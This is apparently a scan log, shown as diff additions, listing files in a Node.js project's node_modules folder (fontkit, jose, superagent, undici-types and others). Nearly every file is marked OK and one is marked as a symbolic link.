+/scan/node_modules/unicode-trie/node_modules/pako/lib/zlib/constants.js: OK
+/scan/node_modules/unicode-trie/node_modules/pako/lib/zlib/inflate.js: OK
+/scan/node_modules/unicode-trie/node_modules/pako/lib/zlib/deflate.js: OK
+/scan/node_modules/unicode-trie/node_modules/pako/lib/zlib/crc32.js: OK
+/scan/node_modules/unicode-trie/node_modules/pako/lib/zlib/zstream.js: OK
+/scan/node_modules/unicode-trie/node_modules/pako/lib/zlib/inffast.js: OK
+/scan/node_modules/unicode-trie/node_modules/pako/lib/zlib/adler32.js: OK
+/scan/node_modules/unicode-trie/node_modules/pako/lib/zlib/inftrees.js: OK
+/scan/node_modules/unicode-trie/node_modules/pako/lib/zlib/trees.js: OK
+/scan/node_modules/unicode-trie/node_modules/pako/lib/zlib/gzheader.js: OK
+/scan/node_modules/unicode-trie/node_modules/pako/lib/zlib/messages.js: OK
+/scan/node_modules/unicode-trie/index.js: OK
+/scan/node_modules/unicode-trie/README.md: OK
+/scan/node_modules/unicode-trie/package.json: OK
+/scan/node_modules/unicode-trie/builder.js: OK
+/scan/node_modules/undici-types/global-origin.d.ts: OK
+/scan/node_modules/undici-types/header.d.ts: OK
+/scan/node_modules/undici-types/pool-stats.d.ts: OK
+/scan/node_modules/undici-types/mock-client.d.ts: OK
+/scan/node_modules/undici-types/eventsource.d.ts: OK
+/scan/node_modules/undici-types/env-http-proxy-agent.d.ts: OK
+/scan/node_modules/undici-types/api.d.ts: OK
+/scan/node_modules/undici-types/LICENSE: OK
+/scan/node_modules/undici-types/readable.d.ts: OK
+/scan/node_modules/undici-types/dispatcher.d.ts: OK
+/scan/node_modules/undici-types/errors.d.ts: OK
+/scan/node_modules/undici-types/websocket.d.ts: OK
+/scan/node_modules/undici-types/file.d.ts: OK
+/scan/node_modules/undici-types/connector.d.ts: OK
+/scan/node_modules/undici-types/retry-handler.d.ts: OK
+/scan/node_modules/undici-types/balanced-pool.d.ts: OK
+/scan/node_modules/undici-types/agent.d.ts: OK
+/scan/node_modules/undici-types/mock-agent.d.ts: OK
+/scan/node_modules/undici-types/interceptors.d.ts: OK
+/scan/node_modules/undici-types/fetch.d.ts: OK
+/scan/node_modules/undici-types/README.md: OK
+/scan/node_modules/undici-types/webidl.d.ts: OK
+/scan/node_modules/undici-types/formdata.d.ts: OK
+/scan/node_modules/undici-types/handlers.d.ts: OK
+/scan/node_modules/undici-types/filereader.d.ts: OK
+/scan/node_modules/undici-types/package.json: OK
+/scan/node_modules/undici-types/cache.d.ts: OK
+/scan/node_modules/undici-types/cookies.d.ts: OK
+/scan/node_modules/undici-types/pool.d.ts: OK
+/scan/node_modules/undici-types/diagnostics-channel.d.ts: OK
+/scan/node_modules/undici-types/util.d.ts: OK
+/scan/node_modules/undici-types/patch.d.ts: OK
+/scan/node_modules/undici-types/index.d.ts: OK
+/scan/node_modules/undici-types/mock-pool.d.ts: OK
+/scan/node_modules/undici-types/proxy-agent.d.ts: OK
+/scan/node_modules/undici-types/retry-agent.d.ts: OK
+/scan/node_modules/undici-types/global-dispatcher.d.ts: OK
+/scan/node_modules/undici-types/client.d.ts: OK
+/scan/node_modules/undici-types/content-type.d.ts: OK
+/scan/node_modules/undici-types/mock-interceptor.d.ts: OK
+/scan/node_modules/undici-types/mock-errors.d.ts: OK
+/scan/node_modules/tiny-invariant/LICENSE: OK
+/scan/node_modules/tiny-invariant/dist/tiny-invariant.cjs.js: OK
+/scan/node_modules/tiny-invariant/dist/esm/tiny-invariant.js: OK
+/scan/node_modules/tiny-invariant/dist/esm/package.json: OK
+/scan/node_modules/tiny-invariant/dist/esm/tiny-invariant.d.ts: OK
+/scan/node_modules/tiny-invariant/dist/tiny-invariant.esm.js: OK
+/scan/node_modules/tiny-invariant/dist/tiny-invariant.js: OK
+/scan/node_modules/tiny-invariant/dist/tiny-invariant.d.ts: OK
+/scan/node_modules/tiny-invariant/dist/tiny-invariant.min.js: OK
+/scan/node_modules/tiny-invariant/README.md: OK
+/scan/node_modules/tiny-invariant/package.json: OK
+/scan/node_modules/tiny-invariant/src/tiny-invariant.flow.js: OK
+/scan/node_modules/tiny-invariant/src/tiny-invariant.ts: OK
+/scan/node_modules/strip-bom/license: OK
+/scan/node_modules/strip-bom/index.js: OK
+/scan/node_modules/strip-bom/readme.md: OK
+/scan/node_modules/strip-bom/package.json: OK
+/scan/node_modules/webidl-conversions/LICENSE.md: OK
+/scan/node_modules/webidl-conversions/README.md: OK
+/scan/node_modules/webidl-conversions/package.json: OK
+/scan/node_modules/webidl-conversions/lib/index.js: OK
+/scan/node_modules/json-schema-traverse/.eslintrc.yml: OK
+/scan/node_modules/json-schema-traverse/LICENSE: OK
+/scan/node_modules/json-schema-traverse/spec/.eslintrc.yml: OK
+/scan/node_modules/json-schema-traverse/spec/index.spec.js: OK
+/scan/node_modules/json-schema-traverse/spec/fixtures/schema.js: OK
+/scan/node_modules/json-schema-traverse/index.js: OK
+/scan/node_modules/json-schema-traverse/README.md: OK
+/scan/node_modules/json-schema-traverse/package.json: OK
+/scan/node_modules/json-schema-traverse/.travis.yml: OK
+/scan/node_modules/@isaacs/cliui/node_modules/strip-ansi/license: OK
+/scan/node_modules/@isaacs/cliui/node_modules/strip-ansi/index.js: OK
+/scan/node_modules/@isaacs/cliui/node_modules/strip-ansi/readme.md: OK
+/scan/node_modules/@isaacs/cliui/node_modules/strip-ansi/package.json: OK
+/scan/node_modules/@isaacs/cliui/node_modules/strip-ansi/index.d.ts: OK
+/scan/node_modules/@isaacs/cliui/node_modules/wrap-ansi/license: OK
+/scan/node_modules/@isaacs/cliui/node_modules/wrap-ansi/index.js: OK
+/scan/node_modules/@isaacs/cliui/node_modules/wrap-ansi/readme.md: OK
+/scan/node_modules/@isaacs/cliui/node_modules/wrap-ansi/package.json: OK
+/scan/node_modules/@isaacs/cliui/node_modules/wrap-ansi/index.d.ts: OK
+/scan/node_modules/@isaacs/cliui/node_modules/ansi-regex/license: OK
+/scan/node_modules/@isaacs/cliui/node_modules/ansi-regex/index.js: OK
+/scan/node_modules/@isaacs/cliui/node_modules/ansi-regex/readme.md: OK
+/scan/node_modules/@isaacs/cliui/node_modules/ansi-regex/package.json: OK
+/scan/node_modules/@isaacs/cliui/node_modules/ansi-regex/index.d.ts: OK
+/scan/node_modules/@isaacs/cliui/node_modules/ansi-styles/license: OK
+/scan/node_modules/@isaacs/cliui/node_modules/ansi-styles/index.js: OK
+/scan/node_modules/@isaacs/cliui/node_modules/ansi-styles/readme.md: OK
+/scan/node_modules/@isaacs/cliui/node_modules/ansi-styles/package.json: OK
+/scan/node_modules/@isaacs/cliui/node_modules/ansi-styles/index.d.ts: OK
+/scan/node_modules/@isaacs/cliui/node_modules/string-width/license: OK
+/scan/node_modules/@isaacs/cliui/node_modules/string-width/index.js: OK
+/scan/node_modules/@isaacs/cliui/node_modules/string-width/readme.md: OK
+/scan/node_modules/@isaacs/cliui/node_modules/string-width/package.json: OK
+/scan/node_modules/@isaacs/cliui/node_modules/string-width/index.d.ts: OK
+/scan/node_modules/@isaacs/cliui/node_modules/emoji-regex/index.js: OK
+/scan/node_modules/@isaacs/cliui/node_modules/emoji-regex/LICENSE-MIT.txt: OK
+/scan/node_modules/@isaacs/cliui/node_modules/emoji-regex/README.md: OK
+/scan/node_modules/@isaacs/cliui/node_modules/emoji-regex/package.json: OK
+/scan/node_modules/@isaacs/cliui/node_modules/emoji-regex/es2015/index.js: OK
+/scan/node_modules/@isaacs/cliui/node_modules/emoji-regex/es2015/index.d.ts: OK
+/scan/node_modules/@isaacs/cliui/node_modules/emoji-regex/es2015/text.d.ts: OK
+/scan/node_modules/@isaacs/cliui/node_modules/emoji-regex/es2015/text.js: OK
+/scan/node_modules/@isaacs/cliui/node_modules/emoji-regex/es2015/RGI_Emoji.js: OK
+/scan/node_modules/@isaacs/cliui/node_modules/emoji-regex/es2015/RGI_Emoji.d.ts: OK
+/scan/node_modules/@isaacs/cliui/node_modules/emoji-regex/index.d.ts: OK
+/scan/node_modules/@isaacs/cliui/node_modules/emoji-regex/text.d.ts: OK
+/scan/node_modules/@isaacs/cliui/node_modules/emoji-regex/text.js: OK
+/scan/node_modules/@isaacs/cliui/node_modules/emoji-regex/RGI_Emoji.js: OK
+/scan/node_modules/@isaacs/cliui/node_modules/emoji-regex/RGI_Emoji.d.ts: OK
+/scan/node_modules/@isaacs/cliui/README.md: OK
+/scan/node_modules/@isaacs/cliui/package.json: OK
+/scan/node_modules/@isaacs/cliui/index.mjs: OK
+/scan/node_modules/@isaacs/cliui/build/index.d.cts: OK
+/scan/node_modules/@isaacs/cliui/build/index.cjs: OK
+/scan/node_modules/@isaacs/cliui/build/lib/index.js: OK
+/scan/node_modules/@isaacs/cliui/LICENSE.txt: OK
+/scan/node_modules/end-of-stream/LICENSE: OK
+/scan/node_modules/end-of-stream/index.js: OK
+/scan/node_modules/end-of-stream/README.md: OK
+/scan/node_modules/end-of-stream/package.json: OK
+/scan/node_modules/is-url/test/index.js: OK
+/scan/node_modules/is-url/History.md: OK
+/scan/node_modules/is-url/index.js: OK
+/scan/node_modules/is-url/Readme.md: OK
+/scan/node_modules/is-url/package.json: OK
+/scan/node_modules/is-url/.travis.yml: OK
+/scan/node_modules/is-url/LICENSE-MIT: OK
+/scan/node_modules/natural-compare/index.js: OK
+/scan/node_modules/natural-compare/README.md: OK
+/scan/node_modules/natural-compare/package.json: OK
+/scan/node_modules/multer/LICENSE: OK
+/scan/node_modules/multer/index.js: OK
+/scan/node_modules/multer/storage/disk.js: OK
+/scan/node_modules/multer/storage/memory.js: OK
+/scan/node_modules/multer/README.md: OK
+/scan/node_modules/multer/package.json: OK
+/scan/node_modules/multer/lib/multer-error.js: OK
+/scan/node_modules/multer/lib/file-appender.js: OK
+/scan/node_modules/multer/lib/counter.js: OK
+/scan/node_modules/multer/lib/remove-uploaded-files.js: OK
+/scan/node_modules/multer/lib/make-middleware.js: OK
+/scan/node_modules/superagent/LICENSE: OK
+/scan/node_modules/superagent/dist/superagent.js: OK
+/scan/node_modules/superagent/dist/superagent.min.js: OK
+/scan/node_modules/superagent/node_modules/.bin/mime: Symbolic link
+/scan/node_modules/superagent/node_modules/form-data/License: OK
+/scan/node_modules/superagent/node_modules/form-data/CHANGELOG.md: OK
+/scan/node_modules/superagent/node_modules/form-data/README.md: OK
+/scan/node_modules/superagent/node_modules/form-data/package.json: OK
+/scan/node_modules/superagent/node_modules/form-data/lib/populate.js: OK
+/scan/node_modules/superagent/node_modules/form-data/lib/form_data.js: OK
+/scan/node_modules/superagent/node_modules/form-data/lib/browser.js: OK
+/scan/node_modules/superagent/node_modules/form-data/index.d.ts: OK
+/scan/node_modules/superagent/node_modules/mime/types/standard.js: OK
+/scan/node_modules/superagent/node_modules/mime/types/other.js: OK
+/scan/node_modules/superagent/node_modules/mime/LICENSE: OK
+/scan/node_modules/superagent/node_modules/mime/CHANGELOG.md: OK
+/scan/node_modules/superagent/node_modules/mime/Mime.js: OK
+/scan/node_modules/superagent/node_modules/mime/index.js: OK
+/scan/node_modules/superagent/node_modules/mime/README.md: OK
+/scan/node_modules/superagent/node_modules/mime/package.json: OK
+/scan/node_modules/superagent/node_modules/mime/cli.js: OK
+/scan/node_modules/superagent/node_modules/mime/lite.js: OK
+/scan/node_modules/superagent/README.md: OK
+/scan/node_modules/superagent/package.json: OK
+/scan/node_modules/superagent/lib/client.js: OK
+/scan/node_modules/superagent/lib/agent-base.js: OK
+/scan/node_modules/superagent/lib/utils.js: OK
+/scan/node_modules/superagent/lib/request-base.js: OK
+/scan/node_modules/superagent/lib/node/parsers/index.js: OK
+/scan/node_modules/superagent/lib/node/parsers/urlencoded.js: OK
+/scan/node_modules/superagent/lib/node/parsers/image.js: OK
+/scan/node_modules/superagent/lib/node/parsers/json.js: OK
+/scan/node_modules/superagent/lib/node/parsers/text.js: OK
+/scan/node_modules/superagent/lib/node/unzip.js: OK
+/scan/node_modules/superagent/lib/node/response.js: OK
+/scan/node_modules/superagent/lib/node/index.js: OK
+/scan/node_modules/superagent/lib/node/decompress.js: OK
+/scan/node_modules/superagent/lib/node/http2wrapper.js: OK
+/scan/node_modules/superagent/lib/node/agent.js: OK
+/scan/node_modules/superagent/lib/response-base.js: OK
+/scan/node_modules/type-is/LICENSE: OK
+/scan/node_modules/type-is/HISTORY.md: OK
+/scan/node_modules/type-is/index.js: OK
+/scan/node_modules/type-is/README.md: OK
+/scan/node_modules/type-is/package.json: OK
+/scan/node_modules/minimist/LICENSE: OK
+/scan/node_modules/minimist/test/num.js: OK
+/scan/node_modules/minimist/test/bool.js: OK
+/scan/node_modules/minimist/test/dash.js: OK
+/scan/node_modules/minimist/test/default_bool.js: OK
+/scan/node_modules/minimist/test/parse_modified.js: OK
+/scan/node_modules/minimist/test/kv_short.js: OK
+/scan/node_modules/minimist/test/short.js: OK
+/scan/node_modules/minimist/test/long.js: OK
+/scan/node_modules/minimist/test/stop_early.js: OK
+/scan/node_modules/minimist/test/parse.js: OK
+/scan/node_modules/minimist/test/whitespace.js: OK
+/scan/node_modules/minimist/test/unknown.js: OK
+/scan/node_modules/minimist/test/proto.js: OK
+/scan/node_modules/minimist/test/dotted.js: OK
+/scan/node_modules/minimist/test/all_bool.js: OK
+/scan/node_modules/minimist/CHANGELOG.md: OK
+/scan/node_modules/minimist/example/parse.js: OK
+/scan/node_modules/minimist/.eslintrc: OK
+/scan/node_modules/minimist/index.js: OK
+/scan/node_modules/minimist/README.md: OK
+/scan/node_modules/minimist/package.json: OK
+/scan/node_modules/minimist/.github/FUNDING.yml: OK
+/scan/node_modules/minimist/.nycrc: OK
+/scan/node_modules/fraction.js/fraction.d.mts: OK
+/scan/node_modules/fraction.js/LICENSE: OK
+/scan/node_modules/fraction.js/CHANGELOG.md: OK
+/scan/node_modules/fraction.js/dist/fraction.mjs: OK
+/scan/node_modules/fraction.js/dist/fraction.js: OK
+/scan/node_modules/fraction.js/dist/fraction.min.js: OK
+/scan/node_modules/fraction.js/tests/fraction.test.js: OK
+/scan/node_modules/fraction.js/README.md: OK
+/scan/node_modules/fraction.js/package.json: OK
+/scan/node_modules/fraction.js/examples/integrate.js: OK
+/scan/node_modules/fraction.js/examples/angles.js: OK
+/scan/node_modules/fraction.js/examples/approx.js: OK
+/scan/node_modules/fraction.js/examples/egyptian.js: OK
+/scan/node_modules/fraction.js/examples/valueOfPi.js: OK
+/scan/node_modules/fraction.js/examples/tape-measure.js: OK
+/scan/node_modules/fraction.js/examples/toFraction.js: OK
+/scan/node_modules/fraction.js/examples/rational-pow.js: OK
+/scan/node_modules/fraction.js/examples/hesse-convergence.js: OK
+/scan/node_modules/fraction.js/examples/ratio-chain.js: OK
+/scan/node_modules/fraction.js/fraction.d.ts: OK
+/scan/node_modules/fraction.js/src/fraction.js: OK
+/scan/node_modules/pathval/LICENSE: OK
+/scan/node_modules/pathval/CHANGELOG.md: OK
+/scan/node_modules/pathval/index.js: OK
+/scan/node_modules/pathval/README.md: OK
+/scan/node_modules/pathval/package.json: OK
+/scan/node_modules/pathval/pathval.js: OK
+/scan/node_modules/is-stream/license: OK
+/scan/node_modules/is-stream/index.js: OK
+/scan/node_modules/is-stream/readme.md: OK
+/scan/node_modules/is-stream/package.json: OK
+/scan/node_modules/is-stream/index.d.ts: OK
+/scan/node_modules/xtend/test.js: OK
+/scan/node_modules/xtend/LICENSE: OK
+/scan/node_modules/xtend/immutable.js: OK
+/scan/node_modules/xtend/.jshintrc: OK
+/scan/node_modules/xtend/README.md: OK
+/scan/node_modules/xtend/package.json: OK
+/scan/node_modules/xtend/mutable.js: OK
+/scan/node_modules/@js-sdsl/ordered-map/LICENSE: OK
+/scan/node_modules/@js-sdsl/ordered-map/CHANGELOG.md: OK
+/scan/node_modules/@js-sdsl/ordered-map/dist/esm/index.js: OK
+/scan/node_modules/@js-sdsl/ordered-map/dist/esm/index.js.map: OK
+/scan/node_modules/@js-sdsl/ordered-map/dist/esm/index.d.ts: OK
+/scan/node_modules/@js-sdsl/ordered-map/dist/umd/ordered-map.min.js: OK
+/scan/node_modules/@js-sdsl/ordered-map/dist/umd/ordered-map.js: OK
+/scan/node_modules/@js-sdsl/ordered-map/dist/umd/ordered-map.min.js.map: OK
+/scan/node_modules/@js-sdsl/ordered-map/dist/cjs/index.js: OK
+/scan/node_modules/@js-sdsl/ordered-map/dist/cjs/index.js.map: OK
+/scan/node_modules/@js-sdsl/ordered-map/dist/cjs/index.d.ts: OK
+/scan/node_modules/@js-sdsl/ordered-map/README.md: OK
+/scan/node_modules/@js-sdsl/ordered-map/package.json: OK
+/scan/node_modules/@js-sdsl/ordered-map/README.zh-CN.md: OK
+/scan/node_modules/onetime/license: OK
+/scan/node_modules/onetime/index.js: OK
+/scan/node_modules/onetime/readme.md: OK
+/scan/node_modules/onetime/package.json: OK
+/scan/node_modules/onetime/index.d.ts: OK
+/scan/node_modules/esutils/README.md: OK
+/scan/node_modules/esutils/LICENSE.BSD: OK
+/scan/node_modules/esutils/package.json: OK
+/scan/node_modules/esutils/lib/code.js: OK
+/scan/node_modules/esutils/lib/keyword.js: OK
+/scan/node_modules/esutils/lib/utils.js: OK
+/scan/node_modules/esutils/lib/ast.js: OK
+/scan/node_modules/find-up/license: OK
+/scan/node_modules/find-up/index.js: OK
+/scan/node_modules/find-up/readme.md: OK
+/scan/node_modules/find-up/package.json: OK
+/scan/node_modules/find-up/index.d.ts: OK
+/scan/node_modules/chalk/license: OK
+/scan/node_modules/chalk/source/util.js: OK
+/scan/node_modules/chalk/source/index.js: OK
+/scan/node_modules/chalk/source/templates.js: OK
+/scan/node_modules/chalk/readme.md: OK
+/scan/node_modules/chalk/package.json: OK
+/scan/node_modules/chalk/index.d.ts: OK
+/scan/node_modules/deep-eql/LICENSE: OK
+/scan/node_modules/deep-eql/deep-eql.js: OK
+/scan/node_modules/deep-eql/index.js: OK
+/scan/node_modules/deep-eql/README.md: OK
+/scan/node_modules/deep-eql/package.json: OK
+/scan/node_modules/ansi-regex/license: OK
+/scan/node_modules/ansi-regex/index.js: OK
+/scan/node_modules/ansi-regex/readme.md: OK
+/scan/node_modules/ansi-regex/package.json: OK
+/scan/node_modules/ansi-regex/index.d.ts: OK
+/scan/node_modules/fontkit/dist/module.mjs: OK
+/scan/node_modules/fontkit/dist/browser-module.mjs.map: OK
+/scan/node_modules/fontkit/dist/browser-module.mjs: OK
+/scan/node_modules/fontkit/dist/browser.cjs: OK
+/scan/node_modules/fontkit/dist/main.cjs.map: OK
+/scan/node_modules/fontkit/dist/browser.cjs.map: OK
+/scan/node_modules/fontkit/dist/main.cjs: OK
+/scan/node_modules/fontkit/dist/module.mjs.map: OK
+/scan/node_modules/fontkit/README.md: OK
+/scan/node_modules/fontkit/package.json: OK
+/scan/node_modules/fontkit/src/opentype/GlyphIterator.js: OK
+/scan/node_modules/fontkit/src/opentype/GlyphInfo.js: OK
+/scan/node_modules/fontkit/src/opentype/shapers/gen-indic.js: OK
+/scan/node_modules/fontkit/src/opentype/shapers/indic-data.js: OK
+/scan/node_modules/fontkit/src/opentype/shapers/IndicShaper.js: OK
+/scan/node_modules/fontkit/src/opentype/shapers/ArabicShaper.js: OK
+/scan/node_modules/fontkit/src/opentype/shapers/index.js: OK
+/scan/node_modules/fontkit/src/opentype/shapers/HangulShaper.js: OK
+/scan/node_modules/fontkit/src/opentype/shapers/use.json: OK
+/scan/node_modules/fontkit/src/opentype/shapers/use.trie: OK
+/scan/node_modules/fontkit/src/opentype/shapers/data.trie: OK
+/scan/node_modules/fontkit/src/opentype/shapers/generate-data.js: OK
+/scan/node_modules/fontkit/src/opentype/shapers/gen-use.js: OK
+/scan/node_modules/fontkit/src/opentype/shapers/UniversalShaper.js: OK
+/scan/node_modules/fontkit/src/opentype/shapers/use.machine: OK
+/scan/node_modules/fontkit/src/opentype/shapers/DefaultShaper.js: OK
+/scan/node_modules/fontkit/src/opentype/shapers/indic.machine: OK
+/scan/node_modules/fontkit/src/opentype/shapers/indic.json: OK
+/scan/node_modules/fontkit/src/opentype/shapers/indic.trie: OK
+/scan/node_modules/fontkit/src/opentype/ShapingPlan.js: OK
+/scan/node_modules/fontkit/src/opentype/OTProcessor.js: OK
+/scan/node_modules/fontkit/src/opentype/GPOSProcessor.js: OK
+/scan/node_modules/fontkit/src/opentype/GSUBProcessor.js: OK
+/scan/node_modules/fontkit/src/opentype/OTLayoutEngine.js: OK
+/scan/node_modules/fontkit/src/tables/VORG.js: OK
+/scan/node_modules/fontkit/src/tables/cvt.js: OK
+/scan/node_modules/fontkit/src/tables/fvar.js: OK
+/scan/node_modules/fontkit/src/tables/vmtx.js: OK
+/scan/node_modules/fontkit/src/tables/hdmx.js: OK
+/scan/node_modules/fontkit/src/tables/WOFFDirectory.js: OK
+/scan/node_modules/fontkit/src/tables/opentype.js: OK
+/scan/node_modules/fontkit/src/tables/EBLC.js: OK
+/scan/node_modules/fontkit/src/tables/gvar.js: OK
+/scan/node_modules/fontkit/src/tables/WOFF2Directory.js: OK
+/scan/node_modules/fontkit/src/tables/sbix.js: OK
+/scan/node_modules/fontkit/src/tables/VDMX.js: OK
+/scan/node_modules/fontkit/src/tables/post.js: OK
+/scan/node_modules/fontkit/src/tables/avar.js: OK
+/scan/node_modules/fontkit/src/tables/maxp.js: OK
+/scan/node_modules/fontkit/src/tables/gasp.js: OK
+/scan/node_modules/fontkit/src/tables/bsln.js: OK
+/scan/node_modules/fontkit/src/tables/index.js: OK
+/scan/node_modules/fontkit/src/tables/GSUB.js: OK
+/scan/node_modules/fontkit/src/tables/hmtx.js: OK
+/scan/node_modules/fontkit/src/tables/cmap.js: OK
+/scan/node_modules/fontkit/src/tables/PCLT.js: OK
+/scan/node_modules/fontkit/src/tables/feat.js: OK
+/scan/node_modules/fontkit/src/tables/name.js: OK
+/scan/node_modules/fontkit/src/tables/GDEF.js: OK
+/scan/node_modules/fontkit/src/tables/OS2.js: OK
+/scan/node_modules/fontkit/src/tables/directory.js: OK
+/scan/node_modules/fontkit/src/tables/opbd.js: OK
+/scan/node_modules/fontkit/src/tables/EBDT.js: OK
+/scan/node_modules/fontkit/src/tables/fpgm.js: OK
+/scan/node_modules/fontkit/src/tables/COLR.js: OK
+/scan/node_modules/fontkit/src/tables/variations.js: OK
+/scan/node_modules/fontkit/src/tables/vhea.js: OK
+/scan/node_modules/fontkit/src/tables/BASE.js: OK
+/scan/node_modules/fontkit/src/tables/loca.js: OK
+/scan/node_modules/fontkit/src/tables/glyf.js: OK
+/scan/node_modules/fontkit/src/tables/kern.js: OK
+/scan/node_modules/fontkit/src/tables/hhea.js: OK
+/scan/node_modules/fontkit/src/tables/prep.js: OK
+/scan/node_modules/fontkit/src/tables/GPOS.js: OK
+/scan/node_modules/fontkit/src/tables/DSIG.js: OK
+/scan/node_modules/fontkit/src/tables/JSTF.js: OK
+/scan/node_modules/fontkit/src/tables/aat.js: OK
+/scan/node_modules/fontkit/src/tables/CPAL.js: OK
+/scan/node_modules/fontkit/src/tables/LTSH.js: OK
+/scan/node_modules/fontkit/src/tables/just.js: OK
+/scan/node_modules/fontkit/src/tables/HVAR.js: OK
+/scan/node_modules/fontkit/src/tables/head.js: OK
+/scan/node_modules/fontkit/src/tables/morx.js: OK
+/scan/node_modules/fontkit/src/subset/TTFSubset.js: OK
+/scan/node_modules/fontkit/src/subset/CFFSubset.js: OK
+/scan/node_modules/fontkit/src/subset/Subset.js: OK
+/scan/node_modules/fontkit/src/DFont.js: OK
+/scan/node_modules/fontkit/src/WOFFFont.js: OK
+/scan/node_modules/fontkit/src/layout/UnicodeLayoutEngine.js: OK
+/scan/node_modules/fontkit/src/layout/LayoutEngine.js: OK
+/scan/node_modules/fontkit/src/layout/GlyphPosition.js: OK
+/scan/node_modules/fontkit/src/layout/GlyphRun.js: OK
+/scan/node_modules/fontkit/src/layout/Script.js: OK
+/scan/node_modules/fontkit/src/layout/KernProcessor.js: OK
+/scan/node_modules/fontkit/src/TTFFont.js: OK
+/scan/node_modules/fontkit/src/encodings.js: OK
+/scan/node_modules/fontkit/src/index.js: OK
+/scan/node_modules/fontkit/src/cff/CFFOperand.js: OK
+/scan/node_modules/fontkit/src/cff/CFFFont.js: OK
+/scan/node_modules/fontkit/src/cff/CFFTop.js: OK
+/scan/node_modules/fontkit/src/cff/CFFCharsets.js: OK
+/scan/node_modules/fontkit/src/cff/CFFIndex.js: OK
+/scan/node_modules/fontkit/src/cff/CFFEncodings.js: OK
+/scan/node_modules/fontkit/src/cff/CFFPointer.js: OK
+/scan/node_modules/fontkit/src/cff/CFFPrivateDict.js: OK
+/scan/node_modules/fontkit/src/cff/CFFStandardStrings.js: OK
+/scan/node_modules/fontkit/src/cff/CFFDict.js: OK
+/scan/node_modules/fontkit/src/aat/AATFeatureMap.js: OK
+/scan/node_modules/fontkit/src/aat/AATLayoutEngine.js: OK
+/scan/node_modules/fontkit/src/aat/AATLookupTable.js: OK
+/scan/node_modules/fontkit/src/aat/AATStateMachine.js: OK
+/scan/node_modules/fontkit/src/aat/AATMorxProcessor.js: OK
+/scan/node_modules/fontkit/src/node.js: OK
+/scan/node_modules/fontkit/src/WOFF2Font.js: OK
+/scan/node_modules/fontkit/src/TrueTypeCollection.js: OK
+/scan/node_modules/fontkit/src/decorators.js: OK
+/scan/node_modules/fontkit/src/base.js: OK
+/scan/node_modules/fontkit/src/CmapProcessor.js: OK
+/scan/node_modules/fontkit/src/glyph/GlyphVariationProcessor.js: OK
+/scan/node_modules/fontkit/src/glyph/Glyph.js: OK
+/scan/node_modules/fontkit/src/glyph/TTFGlyphEncoder.js: OK
+/scan/node_modules/fontkit/src/glyph/WOFF2Glyph.js: OK
+/scan/node_modules/fontkit/src/glyph/TTFGlyph.js: OK
+/scan/node_modules/fontkit/src/glyph/StandardNames.js: OK
+/scan/node_modules/fontkit/src/glyph/SBIXGlyph.js: OK
+/scan/node_modules/fontkit/src/glyph/CFFGlyph.js: OK
+/scan/node_modules/fontkit/src/glyph/BBox.js: OK
+/scan/node_modules/fontkit/src/glyph/Path.js: OK
+/scan/node_modules/fontkit/src/glyph/COLRGlyph.js: OK
+/scan/node_modules/fontkit/src/utils.js: OK
+/scan/node_modules/fontkit/src/fs.js: OK
+/scan/node_modules/scmp/benchmark/benchmark.js: OK
+/scan/node_modules/scmp/benchmark/crypto-check.js: OK
+/scan/node_modules/scmp/LICENSE: OK
+/scan/node_modules/scmp/test/test.js: OK
+/scan/node_modules/scmp/HISTORY.md: OK
+/scan/node_modules/scmp/index.js: OK
+/scan/node_modules/scmp/README.md: OK
+/scan/node_modules/scmp/package.json: OK
+/scan/node_modules/scmp/lib/scmpCompare.js: OK
+/scan/node_modules/scmp/.travis.yml: OK
+/scan/node_modules/jose/LICENSE.md: OK
+/scan/node_modules/jose/dist/types/jws/compact/verify.d.ts: OK
+/scan/node_modules/jose/dist/types/jws/compact/sign.d.ts: OK
+/scan/node_modules/jose/dist/types/jws/general/verify.d.ts: OK
+/scan/node_modules/jose/dist/types/jws/general/sign.d.ts: OK
+/scan/node_modules/jose/dist/types/jws/flattened/verify.d.ts: OK
+/scan/node_modules/jose/dist/types/jws/flattened/sign.d.ts: OK
+/scan/node_modules/jose/dist/types/jwt/verify.d.ts: OK
+/scan/node_modules/jose/dist/types/jwt/produce.d.ts: OK
+/scan/node_modules/jose/dist/types/jwt/encrypt.d.ts: OK
+/scan/node_modules/jose/dist/types/jwt/sign.d.ts: OK
+/scan/node_modules/jose/dist/types/jwt/decrypt.d.ts: OK
+/scan/node_modules/jose/dist/types/jwt/unsecured.d.ts: OK
+/scan/node_modules/jose/dist/types/util/runtime.d.ts: OK
+/scan/node_modules/jose/dist/types/util/errors.d.ts: OK
+/scan/node_modules/jose/dist/types/util/base64url.d.ts: OK
+/scan/node_modules/jose/dist/types/util/decode_protected_header.d.ts: OK
+/scan/node_modules/jose/dist/types/util/decode_jwt.d.ts: OK
+/scan/node_modules/jose/dist/types/types.d.ts: OK
+/scan/node_modules/jose/dist/types/key/export.d.ts: OK
+/scan/node_modules/jose/dist/types/key/import.d.ts: OK
+/scan/node_modules/jose/dist/types/key/generate_key_pair.d.ts: OK
+/scan/node_modules/jose/dist/types/key/generate_secret.d.ts: OK
+/scan/node_modules/jose/dist/types/jwk/embedded.d.ts: OK
+/scan/node_modules/jose/dist/types/jwk/thumbprint.d.ts: OK
+/scan/node_modules/jose/dist/types/jwe/compact/encrypt.d.ts: OK
+/scan/node_modules/jose/dist/types/jwe/compact/decrypt.d.ts: OK
+/scan/node_modules/jose/dist/types/jwe/general/encrypt.d.ts: OK
+/scan/node_modules/jose/dist/types/jwe/general/decrypt.d.ts: OK
+/scan/node_modules/jose/dist/types/jwe/flattened/encrypt.d.ts: OK
+/scan/node_modules/jose/dist/types/jwe/flattened/decrypt.d.ts: OK
+/scan/node_modules/jose/dist/types/index.d.ts: OK
+/scan/node_modules/jose/dist/types/jwks/remote.d.ts: OK
+/scan/node_modules/jose/dist/types/jwks/local.d.ts: OK
+/scan/node_modules/jose/dist/browser/jws/compact/sign.js: OK
+/scan/node_modules/jose/dist/browser/jws/compact/verify.js: OK
+/scan/node_modules/jose/dist/browser/jws/general/sign.js: OK
+/scan/node_modules/jose/dist/browser/jws/general/verify.js: OK
+/scan/node_modules/jose/dist/browser/jws/flattened/sign.js: OK
+/scan/node_modules/jose/dist/browser/jws/flattened/verify.js: OK
+/scan/node_modules/jose/dist/browser/jwt/decrypt.js: OK
+/scan/node_modules/jose/dist/browser/jwt/produce.js: OK
+/scan/node_modules/jose/dist/browser/jwt/unsecured.js: OK
+/scan/node_modules/jose/dist/browser/jwt/encrypt.js: OK
+/scan/node_modules/jose/dist/browser/jwt/sign.js: OK
